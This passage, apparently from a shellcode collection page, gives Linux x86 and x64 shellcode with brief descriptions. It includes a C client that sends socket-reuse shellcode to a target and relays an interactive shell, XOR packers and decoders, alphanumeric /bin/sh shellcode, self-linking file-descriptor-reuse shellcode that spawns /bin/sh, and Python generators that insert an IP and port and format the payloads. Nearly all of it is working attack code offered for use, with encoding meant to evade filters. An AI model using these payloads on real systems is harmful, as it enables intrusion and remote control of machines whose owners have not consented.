"\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62"
"\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b"
"\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66"
"\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21"
"\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48"
"\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f"
"\x6a\x3b\x58\x0f\x05"
};
 
void error(char *err) {
  perror(err);
  exit(0);
}
 
int main(int argc, char *argv[]) {
  struct sockaddr_in server_addr, bind_addr;
  struct hostent* server, *_bind;
  char buf[1024], inbuf[1024];
  int sock;
 
  _bind = gethostbyname(argv[3]);
  bind_addr.sin_family = AF_INET;
  bind_addr.sin_port   = htons(atoi(argv[4]));
  memcpy(&bind_addr.sin_addr.s_addr, _bind->h_addr, _bind->h_length);
 
  server = gethostbyname(argv[1]);
  server_addr.sin_family = AF_INET;
  memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
  server_addr.sin_port = htons(atoi(argv[2]));
 
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    error(" [!] socket()");
 
  if (bind(sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0)
    error(" [!] bind()");
 
  printf(" [*] Connecting to %s\n", argv[1]);
  if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
    error(" [*] connect()");
 
  printf(" [*] Sending payload\n");
  if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0)
    error(" [!] write()");
 
  while(fgets(buf, 1024, stdin) != NULL) {
    if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0)
      error(" [!] write(): ");
    if (recv(sock, inbuf, 1024, 0) < 0)
      error(" [!] read(): ");
    printf("%s", inbuf);
    memset(inbuf, 0, 1024);
    memset(buf, 0, 1024);
  }
 
  return 0;
}
 

Self-modifying

Documentation: self-modifying code

See also: environmental documentation, environmental shellcode, shellcode loading documentation, shellcode loaders

packer.s

Description: Shellcode packer

# 55 bytes
.section .data
.section .text
.globl _start
 
_start:
    pop %rbx  # argc
    pop %rbx  # arg0
    pop %rbx  # arg1 pointer
 
    xor %rsi, %rsi
    push $0x34
    pop %rdi    
 
count_chars:
    cmpb %dil, (%rbx, %rsi, 1)
    int3
    je write
    xor $0x16, (%rbx, %rsi, 1)
    inc %rsi
    jmp count_chars
 
write:
    mov $0x1, %rax
    mov $0x1, %rdi
    mov %rsi, %rdx
    mov %rbx, %rsi
    syscall
 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

decoder-no-mmap.s

Description: Unpacker without mmap

# 69 bytes
jmp start
 
inject: 
    pop %rdi # return value
 
    xor %rsi, %rsi
    push %rsi
    pop %rdi    
 
inject_loop:
    cmpb $0x17, (%rbx, %rsi, 1)
    je inject_finished
    movb (%rbx, %rsi, 1), %r10b
    xor $0x16, %r10b
    movb %r10b, (%rbx, %rsi, 1)
    inc %rsi
    jmp inject_loop
 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rbx, %rsi, 1)
    push %rdi
    push %rbx
    ret
 
getpc:
    mov (%rsp),%rbx
    ret
 
start:
    call getpc
    add $0xe,%rbx
 
    push %rbx
    call inject
 
exit:
    push $0x3c
    pop %rax
    xor %rdi, %rdi
    syscall
 

decoder.s

Description: Shellcode unpacker using mmap

# 102 bytes
jmp start
 
inject: 
    pop %rdi
    pop %rcx
    pop %rax
 
    xor %rsi, %rsi
    push %rsi
    pop %rdi    
 
inject_loop:
    cmpb $0x20, (%rax, %rsi, 1)
    je inject_finished
    movb (%rax, %rsi, 1), %r10b
    xor $0x3, %r10b
    movb %r10b, (%rcx, %rsi, 1)
    inc %rsi
    jmp inject_loop
 
inject_finished:
    inc %rsi 
    movb $0xc3, (%rcx, %rsi, 1)
    push %rdi
    push %rcx
    ret
 
getpc:
    mov (%rsp),%rbx
    ret
 
start:
    call getpc
    add $0x31,%rbx
 
    push $0x9
    pop %rax
    xor %rdi, %rdi
    push %rdi
    pop %rsi
    inc %rsi
    shl $0x12, %rsi
    push $0x7
    pop %rdx
    push $0x22
    pop %r10
    push %rdi
    push %rdi
    pop %r8
    pop %r9
 
    syscall   # The syscall for the mmap().
 
    push %rax
    push %rbx
    call inject
 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

packer-32.s

Description: 32-bit shellcode packer

 
# 37 bytes
.section .data
 
.section .text
 
.global _start
 
_start:
	pop %ecx
	pop %ecx
	pop %ecx                        #arg1 pointer
 
	xor %ebx, %ebx    
 	push %ebx
	pop %edx                        #zero out ebx and edx
 
count_chars:
	cmpb %dl, (%ecx, %ebx, 1)
	je write
	xor $0x3, (%ecx, %ebx, 1)
	inc %ebx
	jmp count_chars                 #counts characters and xor encode them
 
write:
	push $4
	pop %eax
	mov %ebx, %edx
	push $2
	pop %ebx
	int $0x80                        #writes encoded chars to stdout
 
exit:
	xor %eax, %eax
	mov %eax, %ebx
	inc %eax
	int $0x80                        #exits
 

decoder-32.s

Description: 32-bit shellcode decoder

# 89 bytes
.section .data
 
.section .text
 
.global _start
 
_start:
jmp start
 
inject:
	pop %ecx         #pop the return address
	pop %ebx         #pop the encoded shellcode start address
	pop %eax	 #pop the mmaped memory address
 
	xor %edx, %edx
	push %edx
	pop %ecx	 #zero out edx and ecx (which holds the return address)
 
inject_loop:
	cmpb $0x20, (%ebx, %edx, 1)
	je inject_finished
	movb (%ebx, %edx, 1), %cl
	xor $0x3, %cl
	movb %cl, (%eax, %edx, 1)
	inc %edx
	jmp inject_loop
 
inject_finished:
	inc %edx
	movb $0xc3, (%eax, %edx, 1)
	push %ecx
	push %eax
	ret
 
 
getpc:
	mov (%esp), %eax
	ret
 
start:
	call getpc        #find ourself on stack
	mov %eax, %edx
	add $0x2a, %edx   #add decoder length to find shell beginging
 
        push $90
        pop %eax           #mmap() syscall
 
        xor %ebx, %ebx
	push %ebx
	push %ebx	   #arg 5/6
 
	push $0x22	   #arg 4
	push $0x7	   #arg 3
 
        push %ebx
        pop %ecx
        inc %ecx
        shl $0x12, %ecx
        push %ecx          #arg2 0x1000
 
	push %ebx          #arg 1
 
        mov %esp, %ebx
        int $0x80
 
	push %eax	  #push mmap pointer	
	push %edx         #push our shellcode begining
 
	call inject
 
exit:
	xor %eax, %eax
	mov %eax, %ebx
	inc %eax
	int $0x80
 

Alphanumeric

Documentation: alphanumeric shellcode

See also: environmental documentation, environmental shellcode

architecture_detection

Description: Alphanumeric architecture detection shellcode

 TX4HPZTAZAYVH92

binsh.s

Description: Alphanumeric /bin/sh shellcode

Assembled x64
XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00
# 104 bytes
.text
.global _start
_start:
  pop %rax
  push %rsp
  pop %rax
  xor $0x65,%al
  xor $0x75,%al
  xor %rsi, (%rax)   # mov emulated into rsi
  xor (%rax), %rsi
  push %rsi
  pop %rcx
  pushq $0x3030474a
  pop %rax
  xor %eax,0x64(%rcx)
  push %rsp
  pop %rcx
  pop %rax
  movslq 0x30(%rcx),%rsi
  xor %esi,0x30(%rcx)
  movslq 0x34(%rcx),%rsi
  xor %esi,0x34(%rcx)
  movslq 0x30(%rcx),%rdi
  movslq 0x30(%rcx),%rsi
  push %rdi
  pop %rdx
  pushq $0x5a58555a
  pop %rax
  xor $0x34313775,%eax
  xor %eax,0x30(%rcx)
  pushq $0x6a51475a
  pop %rax
  xor $0x6a393475,%eax
  xor %eax,0x34(%rcx)
  xor 0x30(%rcx),%rdi
  pop %rax
  push %rdi
  pushq $0x58
  movslq (%rcx),%rdi
  xor (%rcx),%rdi
  pop %rax
  push %rsp
  xor (%rcx),%rdi
  xor $0x63,%al
  rex.RB
  rex.X xor %sil,(%rax)

Parsing

Documentation: ELF parsing shellcode

elf64-parser.s

Description: ELF64 symbol parser

# 188 bytes
.section .data
.section .text
 
.globl _start
 
_start:
 jmp startup
 
strlen:
 xor %rdx, %rdx
 
next_byte:
 inc %rdx
 cmpb $0x00, (%rsi,%rdx,1);
 jne next_byte
 ret
 
getpc: 
 mov (%rsp), %rax
 ret
 
startup:
 xor %r15, %r15
 push $0x0a0a0a
 mov %rsp, %r15
 call getpc
 dec %rax
 xor %rcx, %rcx
 push $0x2
 pop %rsi
 
find_header:
 cmpl $0x464c457f, (%rax,%rcx,4)   # Did we find our ELF base pointer?
 je find_sections
 dec %rax
 jmp find_header
 
find_sections:
 # %rax now = base pointer of ELF image.
 xor %rbx, %rbx
 add $0x28, %bl
 xorl (%rax,%rbx,1), %ecx             # %rcx = offset to section headers
 addq %rax, %rcx                      # %rcx = absolute address to section headers
 
 # each section header is 0x40 bytes in length.
next_section:
 xor %rbx, %rbx
 xor %rbp, %rbp
 add $0x40, %rcx
 # %rcx now = address to first entry
 add $0x04, %bl
 xor (%rcx,%rbx,1), %ebp              # %rbp now contains type
 cmp $0x02,  %bpl
 jne next_section
 
found_symbols:
 xor %r8, %r8
 mov %rcx, %r8                        # %rcx = pointer to top of symbol section header
 add $0x40, %r8                       # %r8  = pointer to top of string table section header
 
 xor %rbx, %rbx
 xor $0x18, %bl                      # pointer to actual section is $0x18 bytes from header base
 
 xor %r9, %r9
 xor %r10, %r10
 xor (%rcx,%rbx,1), %r9
 xor (%r8,%rbx,1), %r10
 addq %rax, %r9                      # r9 should now point to the first symbol
 addq %rax, %r10                     # r10 should now point to the first string
 addq $0x18, %r9
 
next_symbol:
 addq $0x18,%r9
 xor %rcx, %rcx
 xor %rbp, %rbp
 xor %rdi, %rdi
 xor (%r9,%rcx,1), %ebp              # %rbp now contains string offset.
 cmp %rbp, %rdi
 je next_symbol
 
print_symbol_name:
 mov %rbp, %rsi
 addq %r10, %rsi                     # %rsi should now be a pointer to a string
 push $0x01
 pop %rax
 push %rax
 pop %rdi
 call strlen
 syscall
 
 push $0x01
 pop %rax
 push %rax
 pop %rdi
 push $0x02
 pop %rdx
 push %r15
 pop %rsi
 syscall
 jmp next_symbol
 

Dynamic

Documentation: dynamic shellcode

See also: environmental documentation, environmental shellcode, self-modifying documentation, self-modifying shellcode

poly-linker-fd-reuse.s

Description: Polymorphic self-linking file descriptor reuse shellcode

# 268 bytes
 
.section .data
.section .text
.global _start
 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
 
# at this point, the base pointer of libc is in %rbx
startup:
  call __initialize_world
 
################
#
#  Takes a function hash in %rbp and base pointer in %rbx
#  >Parses the dynamic section headers of the ELF64 image
#  >Uses ROP to invoke the function on the way back to the
#  -normal return location
#
#  Returns results of function to invoke.
#
invoke_function:
  push %rbp
  push %rbp
  push %rdx
  xor %rdx, %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
  push %rbp
  pop %rdi
 
  read_dynamic_section:
    push %rbx
    pop %rbp
 
   push $0x4c
   pop %rax
   add (%rbx, %rax, 4), %rbx
 
  check_dynamic_type:
    add $0x10, %rbx
    cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
  string_table_found:
    mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
  check_next_hash:
    add $0x18, %rbx
    push %rdx
    pop %rsi
    xorw (%rbx), %si
    add %rax, %rsi
 
    calc_hash:
      push %rax
      push %rdx
 
      initialize_regs:
        push %rdx
        pop %rax
        cld
 
        calc_hash_loop:
          lodsb
          rol $0xc, %edx
          add %eax, %edx
          test %al, %al
          jnz calc_hash_loop
 
      calc_done:
        push %rdx
        pop %rsi
 
      pop %rdx 
      pop %rax
 
  cmp %esi, %edi
 
  jne check_next_hash
 
  found_hash:
    add 0x8(%rbx,%rdx,4), %rbp
    mov %rbp, 0x30(%rsp)
    pop %rsi
    pop %rbx
    pop %rax
    pop %rdi
    pop %rdx
    pop %rbp
ret
 
exit:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 
_world:
  movl $0xf8cc01f7, %ebp   # getpeername() is in %rbp
  push $0x02
  pop %rdi
 
  make_fd_struct:
    lea -0x14(%rsp), %rdx
    movb $0x10, (%rdx)
    lea 0x4(%rdx), %rsi # move struct into rsi
 
  loop:
    inc %di
    jz exit
 
  stack_fix:
    lea 0x14(%rdx), %rsp
 
  get_peer_name:
    sub $0x20, %rsp
    push %rcx
    call *%rcx 
    pop %rcx
 
  check_pn_success:
    test %al, %al
    jne loop
 
  # If we make it here, rbx and rax are 0
  check_ip:
    push $0x1b
    pop %r8
    mov $0xfeffff80, %eax
    cmpl %eax, (%rsp,%r8,4)
    jne loop
 
  check_port:
    movb $0x35, %r8b
    mov $0x2dfb, %ax
    cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
    jne loop
 
  push $0x70672750
  pop %rbp
 
  reuse:
    xor %rdx, %rdx
    push %rdx
    push %rdx
    pop %rsi
 
    dup_loop:       # redirect stdin, stdout, stderr to socket
      push %rcx
      call *%rcx
      pop %rcx
      inc %esi
      cmp $0x4, %esi
      jne dup_loop
 
  movl $0xf66bbb37, %ebp
 
  xor %rdi, %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
 
  call *%rcx
 

linker-fd-reuse.s

Description: Self-linking file descriptor reuse shellcode

# 268 bytes
.section .data
.section .text
.global _start
 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
 
# at this point, the base pointer of libc is in %rbx
startup:
  call __initialize_world
 
################
#
#  Takes a function hash in %rbp and base pointer in %rbx
#  >Parses the dynamic section headers of the ELF64 image
#  >Uses ROP to invoke the function on the way back to the
#  -normal return location
#
#  Returns results of function to invoke.
#
invoke_function:
  push %rbp
  push %rbp
  push %rdx
  xor %rdx, %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
  push %rbp
  pop %rdi
 
  read_dynamic_section:
    push %rbx
    pop %rbp
 
   push $0x4c
   pop %rax
   add (%rbx, %rax, 4), %rbx
 
  check_dynamic_type:
    add $0x10, %rbx
    cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
  string_table_found:
    mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
  check_next_hash:
    add $0x18, %rbx
    push %rdx
    pop %rsi
    xorw (%rbx), %si
    add %rax, %rsi
 
    calc_hash:
      push %rax
      push %rdx
 
      initialize_regs:
        push %rdx
        pop %rax
        cld
 
        calc_hash_loop:
          lodsb
          rol $0xc, %edx
          add %eax, %edx
          test %al, %al
          jnz calc_hash_loop
 
      calc_done:
        push %rdx
        pop %rsi
 
      pop %rdx 
      pop %rax
 
  cmp %esi, %edi
 
  jne check_next_hash
 
  found_hash:
    add 0x8(%rbx,%rdx,4), %rbp
    mov %rbp, 0x30(%rsp)
    pop %rsi
    pop %rbx
    pop %rax
    pop %rdi
    pop %rdx
    pop %rbp
ret
 
exit:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 
_world:
  movl $0xf8cc01f7, %ebp   # getpeername() is in %rbp
  push $0x02
  pop %rdi
 
  make_fd_struct:
    lea -0x14(%rsp), %rdx
    movb $0x10, (%rdx)
    lea 0x4(%rdx), %rsi # move struct into rsi
 
  loop:
    inc %di
    jz exit
 
  stack_fix:
    lea 0x14(%rdx), %rsp
 
  get_peer_name:
    sub $0x20, %rsp
    push %rcx
    call *%rcx 
    pop %rcx
 
  check_pn_success:
    test %al, %al
    jne loop
 
  # If we make it here, rbx and rax are 0
  check_ip:
    push $0x1b
    pop %r8
    mov $0xfeffff80, %eax
    not %eax
    cmpl %eax, (%rsp,%r8,4)
    jne loop
 
  check_port:
    movb $0x35, %r8b
    mov $0x2dfb, %ax
    not %eax
    cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
    jne loop
 
  push $0x70672750
  pop %rbp
 
  reuse:
    xor %rdx, %rdx
    push %rdx
    push %rdx
    pop %rsi
 
    dup_loop:       # redirect stdin, stdout, stderr to socket
      push %rcx
      call *%rcx
      pop %rcx
      inc %esi
      cmp $0x4, %esi
      jne dup_loop
 
  movl $0xf66bbb37, %ebp
 
  pop %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
 
  call *%rcx
 

linked-exit.s

Description: Self-linking exit shellcode

# 135 bytes
 
.section .data
.section .text
.global _start
 
_start:
  push $0x400130ff
  pop %rbx
  shr $0x8, %ebx
 
fast_got:
  mov (%rbx), %rcx
  add 0x10(%rbx), %rcx
 
extract_pointer:
  mov 0x20(%rcx), %rbx
 
find_base:
  dec %rbx
  cmpl $0x464c457f, (%rbx)
jne find_base
 
jmp startup
 
__initialize_world:
  pop %rcx
  jmp _world
 
 
# at this point, the base pointer of libc is in %rbx
startup:
  call __initialize_world
 
################
#
#  Takes a function hash in %rbp and base pointer in %rbx
#  >Parses the dynamic section headers of the ELF64 image
#  >Uses ROP to invoke the function on the way back to the
#  -normal return location
#
#  Returns results of function to invoke.
#
invoke_function:
  push %rbp
  push %rbp
  push %rdx
  xor %rdx, %rdx
  push %rdi
  push %rax
  push %rbx      
  push %rsi
  push %rbp
  pop %rdi
 
  read_dynamic_section:
    push %rbx
    pop %rbp
 
   push $0x4c
   pop %rax
   add (%rbx, %rax, 4), %rbx
 
  check_dynamic_type:
    add $0x10, %rbx
    cmpb $0x5, (%rbx)
  jne check_dynamic_type
 
  string_table_found:
    mov 0x8(%rbx), %rax       # %rax is now location of dynamic string table
    mov 0x18(%rbx), %rbx      # %rbx is now a pointer to the symbol table.
 
  check_next_hash:
    add $0x18, %rbx
    push %rdx
    pop %rsi
    xorw (%rbx), %si
    add %rax, %rsi
 
    calc_hash:
      push %rax
      push %rdx
 
      initialize_regs:
        push %rdx
        pop %rax
        cld
 
        calc_hash_loop:
          lodsb
          rol $0xc, %edx
          add %eax, %edx
          test %al, %al
          jnz calc_hash_loop
 
      calc_done:
        push %rdx
        pop %rsi
 
      pop %rdx 
      pop %rax
 
  cmp %esi, %edi
 
  jne check_next_hash
 
  found_hash:
    add 0x8(%rbx,%rdx,4), %rbp
    mov %rbp, 0x30(%rsp)
    pop %rsi
    pop %rbx
    pop %rax
    pop %rdi
    pop %rdx
    pop %rbp
ret
 
_world:
  push $0x696c4780
  pop %rbp
  xor %rdi, %rdi
  call *%rcx
 
 

Generators

See also: socket-reuse documentation, socket-reuse shellcode, self-modifying documentation, self-modifying shellcode, dynamic documentation, dynamic shellcode

socket-reuse-generator.py

Description: Socket-reuse shellcode generator

 
#!/usr/bin/python2.7
import re, sys, socket, struct
 
if len(sys.argv) < 3:
  print("Usage: " + sys.argv[0] + " <source IP> <source port> [dynamic]")
  exit()
 
standard_shellcode = \
"\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \
"\\x02\\x10\\x48\\x8d\\x72\\x04\\xff\\xc7\\x66\\x85\\xff\\x74\\xe5\\x48\\x8d\\x62" \
"\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xe8\\x6a\\x1b" \
"\\x59\\xbb%s\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xd9\\xb1\\x35\\x66\\xbb%s\\x66\\xf7" \
"\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xca\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \
"\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69" \
"\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05" 
 
dynamic_shellcode = \
"\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48\\x03\\x4b\\x10" \
"\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f\\x45\\x4c\\x46\\x75\\xf5\\xeb" \
"\\x03\\x59\\xeb\\x6a\\xe8\\xf8\\xff\\xff\\xff\\x55\\x55\\x52\\x48\\x31\\xd2\\x57" \
"\\x50\\x53\\x56\\x55\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \
"\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b\\x5b\\x18\\x48" \
"\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01\\xc6\\x50\\x52\\x52\\x58\\xfc" \
"\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7" \
"\\x75\\xdd\\x48\\x03\\x6c\\x93\\x08\\x48\\x89\\x6c\\x24\\x30\\x5e\\x5b\\x58\\x5f" \
"\\x5a\\x5d\\xc3\\x68\\x80\\x47\\x6c\\x69\\x5d\\x48\\x31\\xff\\xff\\xd1\\xbd\\xf7" \
"\\x01\\xcc\\xf8\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d" \
"\\x72\\x04\\x66\\xff\\xc7\\x74\\xdc\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x51" \
"\\xff\\xd1\\x59\\x84\\xc0\\x75\\xeb\\x6a\\x1b\\x41\\x58\\xb8%s\\xf7\\xd0\\x42" \
"\\x39\\x04\\x84\\x75\\xda\\x41\\xb0\\x35\\x66\\xb8%s\\xf7\\xd0\\x66\\x42\\x39" \
"\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70\\x5d\\x48\\x31\\xd2\\x52\\x52\\x5e" \
"\\x51\\xff\\xd1\\x59\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbd\\x37\\xbb\\x6b\\xf6" \
"\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \
"\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff\\xd1"
 
if len(sys.argv) == 4 and sys.argv[3] == "dynamic":
  shellcode = dynamic_shellcode
else:
  shellcode = standard_shellcode
 
convert = lambda x: ''.join(['\\x%.2x' % (ord(char) ^ 0xff) for char in x])
ip_addr = convert(socket.inet_aton(sys.argv[1]))
port_no = convert(struct.pack("!H", int(sys.argv[2])))
shellcode = shellcode % (ip_addr, port_no)
 
for lin in re.findall(".?"*64, shellcode):
  if lin != "":
    print("\"" + lin + "\"")
 

shellcode-generator.py

Description: Nicely assemble and output shellcode in a variety of formats (raw, hex, and as a C variable)

 
#!/usr/bin/python2
import os
import re
import argparse
 
def detect_file_type(path):
  file_type = os.popen("file %s" % path).read(200)
  if "assembler" in file_type:
    return 0
  elif "ELF" in file_type:
    return 1
  else:
    print "Incompatible file type, quitting."
    exit()
 
def extract(path):
  if not detect_file_type(path):
    orig_path = path
    path = path.split(".")[0] 
    if os.system("as -o %s.o %s" % (path, orig_path)) == 1:
      print " [!] Assembly failed."
      exit()
    if os.system("ld -o %s %s.o" % (path, path)) == 1:
      print " [!] Linking failed."
      exit()
 
  shellcode = ""
  for line in os.popen("objdump -d %s" % path).readlines():
    for byte in line.split():
      if re.match("^[a-f0-9][a-f0-9]$", byte):
        shellcode += chr(int(byte, 16))
 
  return shellcode
 
if __name__=="__main__":
  parser = argparse.ArgumentParser()
  parser.add_argument('--file', required=True)
  parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)")
  parser.add_argument('--raw', action='store_true', help="Output in raw format")
  parser.add_argument('--var', action='store_true', help="Output as a variable")
  parser.add_argument('--len', action='store_true', help="Output the length")
  args = parser.parse_args()
 
  shellcode = extract(args.file)
 
  if args.hex or args.var:
    tmp = ''.join(["\\x%.2x" % ord(byte) for byte in shellcode])
 
    if args.var:
      tmp2 = "char shellcode[] = {\n"
      for line in re.findall(".?"*64, tmp):
        if line != "":
          tmp2 += "  \"%s\" \n" % line
      tmp = tmp2 + "};"
 
    print tmp
 
  elif args.raw:
    print shellcode
 
  else:
    parser.print_help()
    exit()
 
  if args.len:
    print " [*] Length: %d bytes" % len(shellcode)
 

hash-generator.s

Description: Hash generator for self-linking shellcode

 
# 81 bytes
 
.text
.globl _start
_start:
jmp startup
 
calc_hash:
  push %rax
  push %rdx
 
  initialize_regs:
    push %rdx
    pop %rax
    cld
 
    calc_hash_loop:
      lodsb
      rol $0xc, %edx
      add %eax, %edx
      test %al, %al
      jnz calc_hash_loop
 
  calc_done:
    push %rdx
    pop %rsi
 
  pop %rdx
  pop %rax
ret
 
startup:
  pop %rax
  pop %rax
  pop %rsi
 
  xor %rdx, %rdx
  call calc_hash
 
  push %rsi
  mov %rsp, %rsi
 
  push %rdx
 
  mov %rsp, %rcx
 
  mov $0x4, %rdi
  loop:
    dec %rdi
    movb (%rsi,%rdi,1), %al
    movb %al, (%rcx,%rdx,1)
    inc %rdx
    cmp %rdi, %r10
    jnz loop
 
  mov %rcx, %rsi
 
  inc %rdi
  mov %rdi, %rax
 
  syscall
 
  mov $0x3c, %rax
  dec %rdi
 
  syscall